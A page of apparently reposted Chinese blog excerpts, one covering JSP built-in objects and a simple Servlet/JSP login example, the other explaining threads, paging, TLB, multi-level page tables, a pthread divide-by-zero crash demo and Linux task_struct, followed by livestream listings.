对象等。例如,使用<jsp:forward>将请求转发到另一个 JSP 页面:<jsp:forward page="another.jsp" />JSP 还提供了一些内置对象,这些对象可以在 JSP 页面中直接使用,无需显式声明:1.request:类型为HttpServletRequest,代表客户端的请求对象,用于获取客户端发送的请求参数、请求头信息等。例如,获取表单提交的用户名参数:<% String username = request.getParameter("username");%>2.response:类型为HttpServletResponse,代表服务器的响应对象,用于向客户端发送响应内容、设置响应头信息等。例如,设置响应内容类型为 JSON:<% response.setContentType("application/json");%>3.application:类型为ServletContext,代表整个 Web 应用的上下文对象,用于在整个应用中共享数据。例如,获取应用的初始化参数:<% String initParam = application.getInitParameter("appParam");%>4.out:类型为JspWriter,用于向客户端输出内容,相当于PrintWriter的一个子类,但提供了更多的功能,如自动缓冲等。例如,输出一段文本:<% out.println("This is a message from JSP.");%>5.pageContext:类型为PageContext,代表当前 JSP 页面的上下文对象,用于管理 JSP 页面的属性、获取其他内置对象等。例如,获取request对象:<% HttpServletRequest req = (HttpServletRequest) pageContext.getRequest();%>6.config:类型为ServletConfig,代表 Servlet 的配置对象,用于获取 Servlet 的初始化参数等。例如,获取 Servlet 的初始化参数:<% String initParam = config.getInitParameter("servletParam");%>7.page:代表当前 JSP 页面本身,相当于 Java 中的this关键字。8.exception:类型为Throwable,用于处理 JSP 页面中的异常。只有在page指令中设置了isErrorPage="true"时,才可以使用该对象。例如,在错误页面中输出异常信息:<%@ page isErrorPage="true" %><% exception.printStackTrace(out);%>3.3 Servlet 与 JSP 交互案例实操为了更深入地理解 Servlet 与 JSP 的交互过程,我们通过一个用户登录的案例来进行实操。在这个案例中,Servlet 负责处理用户登录的业务逻辑,验证用户输入的用户名和密码是否正确;JSP 则用于展示登录页面和登录结果。首先,创建一个 Java Web 项目,项目结构如下:src├── main│ ├── java│ │ └── com│ │ └── example│ │ └── LoginServlet.java│ └── webapp│ ├── login.jsp│ ├── success.jsp│ └── WEB-INF│ └── web.xml接下来,我们分别看一下各个文件的代码:1.login.jsp:登录页面,用于收集用户输入的用户名和密码。<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><!DOCTYPE html><html><head> <title>User Login</title></head><body> <h2>User Login</h2> <form action="login" method="post"> <label for="username">Username:</label><br> <input type="text" id="username" name="username" required><br> <label for="password">Password:</label><br> <input type="password" id="password" name="password" required><br><br> <input type="submit" value="Login"> </form></body></html>在上述代码中,<form action="login" method="post">表示将表单数据以 POST 方式提交到login路径,该路径会映射到LoginServlet。2.LoginServlet.java:处理用户登录的 Servlet。import java.io.IOException;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import javax.servlet.http.HttpSession; @WebServlet("/login")public class LoginServlet extends HttpServlet { private static final long serialVersionUID = 1L; protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { // 获取用户输入的用户名和密码 String username = request.getParameter("username"); String password = request.getParameter("password"); // 模拟数据库验证,这里假设用户名和密码都为admin时验证通过 if ("admin".equals(username) && "admin".equals(password)) { // 验证成功,将用户名存入会话中 HttpSession session = request.getSession(); session.setAttribute("username", username); // 转发到success.jsp页面 request.getRequestDispatcher("success.jsp").forward(request, response); } else { // 验证失败,返回登录页面并显示错误信息 request.setAttribute("error", "Invalid username or password"); request.getRequestDispatcher("login.jsp").forward(request, response); } }}在LoginServlet中,doPost方法接收用户提交的表单数据,验证用户名———————————————— 原文链接:https://blog.csdn.net/weixin_73295475/article/details/147013296
-
线程的概念线程的基本概念:轻量级进程(LWP): 线程被视为进程中的一个轻量级进程(LWP)。与独立的进程相比,线程创建和销毁的开销较小,因为它们共享相同的内存空间和资源。共享资源: 线程之间共享大部分进程的资源,比如内存空间(堆、全局变量)、文件描述符等。但每个线程拥有自己的程序计数器(PC)、寄存器集和堆栈。并行执行: 多个线程可以并行执行不同的任务。这种并行执行能力特别适合多核处理器,可以提高程序的效率。独立调度: 虽然线程共享进程的资源,它们仍然是独立的执行单元,操作系统调度器会对每个线程进行调度,确保线程按照优先级和资源占用情况执行。线程创建与销毁: 线程可以由主线程或其他线程创建。通过pthread_create函数可以创建新的线程,线程结束时可以通过pthread_exit或者线程的自然结束来销毁。分页式管理和储存页表(Page Table) 是操作系统用于管理虚拟内存与物理内存之间映射关系的数据结构。在使用分页存储的系统中,进程的虚拟地址空间被划分为多个固定大小的页面(通常为 4KB),而物理内存被划分为多个固定大小的页框(Page Frame)。页表用于记录每个虚拟页面与物理页框之间的映射关系。分页式存储(Paging)是内存管理的一种方式,主要目的是提高内存的利用率和管理效率。虚拟地址向物理地址的快速映射(TLB)它是计算机体系结构中一种用于加速虚拟地址到物理地址转换的硬件缓存,这种设备叫做转换检测缓冲区(TLD :Translation Lookaside Buffer)又叫相关联储存或者是快表例如:TLB 的工作原理TLB 命中(Hit):当 CPU 访问一个虚拟地址时,TLB 会检查该地址是否已缓存。如果找到映射,操作系统直接返回物理地址,CPU 继续执行指令。TLB 未命中(Miss):如果 TLB 中没有找到对应的映射,CPU 会通过查阅页表来获取虚拟地址的物理地址,并将这个新的映射添加到 TLB 中,以供后续使用。TLB 替换算法:由于 TLB 是有限的,当缓存已满时,操作系统需要使用替换算法来决定哪些映射应被淘汰。常用的替换算法包括 LRU(最近最少使用) 和 FIFO(先进先出) 等。针对大内存页表(多级页表)多级页表是操作系统为了高效管理虚拟内存而采用的一种页表结构。它将页表分为多个级别,以优化内存使用并提高系统性能。多级页表的关键目的是减少内存空间的浪费,特别是在虚拟地址空间中,大多数进程只使用虚拟地址的部分区域,而不是整个地址空间。这是一个多级页表 结构,虚拟地址被分为三个部分:PT1、PT2 和 页内偏移。它说明了一个二级页表的系统,其中:PT1(10 位):用于索引顶级页表。PT2(10 位):用于索引二级页表,该页表包含实际映射到物理内存的条目。页内偏移(12 位):指定虚拟页中的具体字节位置,通常对应 4KB 的页面大小。表明了虚拟地址如何被分解并通过多级页表层次结构进行查找:顶级页表(每个条目对应 4MB 的内存块)由前 10 位(PT1)进行索引。二级页表由接下来的 10 位(PT2)进行索引,该表存储着物理内存页的映射。页内偏移指明了具体的物理内存位置。2^12 == 4096byte == 4 Kb进程和线程的区别定义:进程:是程序在运行中的一个实例,是资源分配的基本单位。每个进程都有自己的地址空间、内存、文件描述符等资源。进程之间相互独立,进程的创建和销毁需要操作系统进行管理。线程:是进程内部的一个执行单元,是操作系统调度的基本单位。多个线程共享进程的资源,如内存、文件描述符等,但每个线程有自己的寄存器、栈等。线程的优势共享内存空间:资源共享: 线程共享同一进程的地址空间,这使得不同线程可以直接访问进程中的数据和资源(如内存、文件描述符等)。相比于进程,每个线程之间的通信成本较低。高效的数据共享: 由于线程共享内存,可以更高效地交换数据,而不需要使用复杂的进程间通信(IPC)机制。更低的创建和切换开销:线程创建快速: 创建线程的开销比创建进程小得多,因为线程共享进程的资源和内存空间,不需要为每个线程分配独立的内存。上下文切换高效: 线程切换的开销较小,因为线程之间共享地址空间,无需像进程切换时那样保存和恢复独立的内存映像。切换线程时,仅需要保存和恢复寄存器、程序计数器等较少的信息。进程与线程上下文切换的对比根据分页式管理,进程线程对比线程是优势于进程的。特点 进程上下文切换 线程上下文切换内存切换 需要切换虚拟内存地址空间(页表) 不需要切换内存地址空间,所有线程共享同一进程的内存空间开销 较大,涉及内存、页表切换等 较小,主要涉及寄存器和程序计数器的保存和恢复速度 较慢 较快并发性 进程间完全独立 线程间共享内存,通信与数据共享更高效安全性 高,每个进程的内存空间是独立的,互不影响 低,线程间共享内存,容易发生数据竞争线程的缺点并发问题:如竞态条件和死锁,可能导致程序出错。、调试困难:多线程的错误难以重现和调试。同步复杂:需要使用锁机制,可能导致性能瓶颈。共享内存问题:多线程共享内存,容易出现内存泄漏或竞争。调度开销:线程过多时,系统调度开销增加,影响性能。崩溃影响:一个线程崩溃可能导致整个进程崩溃。#include<iostream> #include<pthread.h> using namespace std; // 线程函数,线程执行时会调用这个函数void* mythread(void* args){ cout <<"thread" << endl; // 输出"thread"到控制台,表示线程启动 int n = 0; // 定义一个整型变量n并初始化为0 int b = 10; // 定义一个整型变量b并初始化为10 int c = b / n; // 这里会导致除以零错误(n = 0),这是一个潜在的运行时错误 return nullptr; // 线程函数返回空指针,表示没有返回值}int main(){ pthread_t tid; // 定义一个线程ID变量,用于标识线程 // 创建一个新线程,传递的参数分别为:线程ID、线程属性(nullptr表示默认属性)、线程执行的函数(mythread),以及传递给线程函数的参数(nullptr表示没有参数) pthread_create(&tid, nullptr, mythread, nullptr); // 等待线程执行完成(阻塞调用,直到tid对应的线程结束) pthread_join(tid, nullptr); return 0; // 程序正常结束}代码中的 int c = b / n; 这行会导致除以零的运行时错误,因为 n 被初始化为 0,这将引发程序崩溃(如果没有处理错误的话)。在这里不仅仅是线程崩溃,进程也会随之崩溃。、线程的管理同进程一样在OS中进程是通过PCB进行管理的,线程在OS系统中也有类似的i结构叫做TCB.TCBTCB(Thread Control Block,线程控制块) 是操作系统用来管理线程的一个重要数据结构。每个线程在操作系统中都有一个唯一的 TCB,它保存了线程的状态信息和执行上下文。TCB 是操作系统在线程调度、切换和管理过程中使用的关键组件。TCB的主要内容:线程ID:唯一标识一个线程,操作系统通过线程ID来识别线程。程序计数器(PC):指向线程当前正在执行的指令地址,确保线程从中断的地方继续执行。寄存器状态:包括线程的寄存器值,确保在上下文切换时能恢复线程的执行状态。线程状态:指示线程的当前状态,如就绪、运行、阻塞等。堆栈指针:指向线程的栈,用于管理局部变量和函数调用。优先级:线程的优先级,用于决定调度时的优先顺序。TCB的作用:调度:操作系统根据TCB中的信息来调度线程,决定哪些线程执行。上下文切换:当切换线程时,操作系统保存当前线程的TCB并加载下一个线程的TCB,确保线程能继续执行。管理线程生命周期:TCB帮助操作系统管理线程的创建、执行、阻塞和终止。Linux中的TCB在 Linux 操作系统 中,TCB(Thread Control Block,线程控制块) 是一个包含与线程相关的各种信息的数据结构。尽管 Linux 没有显式地使用 TCB 这个术语,但在 Linux 内核中,管理线程的结构体是 task_struct,它类似于传统操作系统中的 TCB,用于存储线程的上下文信息和管理线程的执行。task_struct 结构体在 Linux 中,每个进程(包括线程)都由一个 task_struct 结构体来表示。这个结构体存储了与进程或线程相关的所有信息,它包含了线程调度、进程控制、内存管理、信号处理等多方面的信息。task_struct 主要内容:线程ID(PID/TID):每个线程有唯一的标识符,Linux 使用 PID(进程ID)和 TID(线程ID)来区分不同的进程和线程。线程状态:记录线程的当前状态,如就绪、运行、阻塞等。调度信息:包括调度策略、优先级、调度队列等信息,帮助操作系统决定线程的执行顺序。程序计数器和寄存器:保存线程执行过程中使用的寄存器状态,确保上下文切换时线程能从正确位置恢复执行。堆栈指针:指向线程的栈,存储局部变量和函数调用。内存管理:记录线程的虚拟内存、内存映射、文件描述符等资源信息。调度信息*:包括调度策略、优先级、调度队列等信息,帮助操作系统决定线程的执行顺序。程序计数器和寄存器:保存线程执行过程中使用的寄存器状态,确保上下文切换时线程能从正确位置恢复执行。堆栈指针:指向线程的栈,存储局部变量和函数调用。内存管理:记录线程的虚拟内存、内存映射、文件描述符等资源信息。信号信息:线程接收和响应信号(如 SIGTERM 等)的信息———————————————— 原文链接:https://blog.csdn.net/Cayyyy/article/details/147160338
上滑加载中
推荐直播
-
HDC深度解读系列 - Serverless与MCP融合创新,构建AI应用全新智能中枢2025/08/20 周三 16:30-18:00
张昆鹏 HCDG北京核心组代表
HDC2025期间,华为云展示了Serverless与MCP融合创新的解决方案,本期访谈直播,由华为云开发者专家(HCDE)兼华为云开发者社区组织HCDG北京核心组代表张鹏先生主持,华为云PaaS服务产品部 Serverless总监Ewen为大家深度解读华为云Serverless与MCP如何融合构建AI应用全新智能中枢
回顾中 -
关于RISC-V生态发展的思考2025/09/02 周二 17:00-18:00
中国科学院计算技术研究所副所长包云岗教授
中科院包云岗老师将在本次直播中,探讨处理器生态的关键要素及其联系,分享过去几年推动RISC-V生态建设实践过程中的经验与教训。
回顾中 -
一键搞定华为云万级资源,3步轻松管理企业成本2025/09/09 周二 15:00-16:00
阿言 华为云交易产品经理
本直播重点介绍如何一键续费万级资源,3步轻松管理成本,帮助提升日常管理效率!
回顾中
热门标签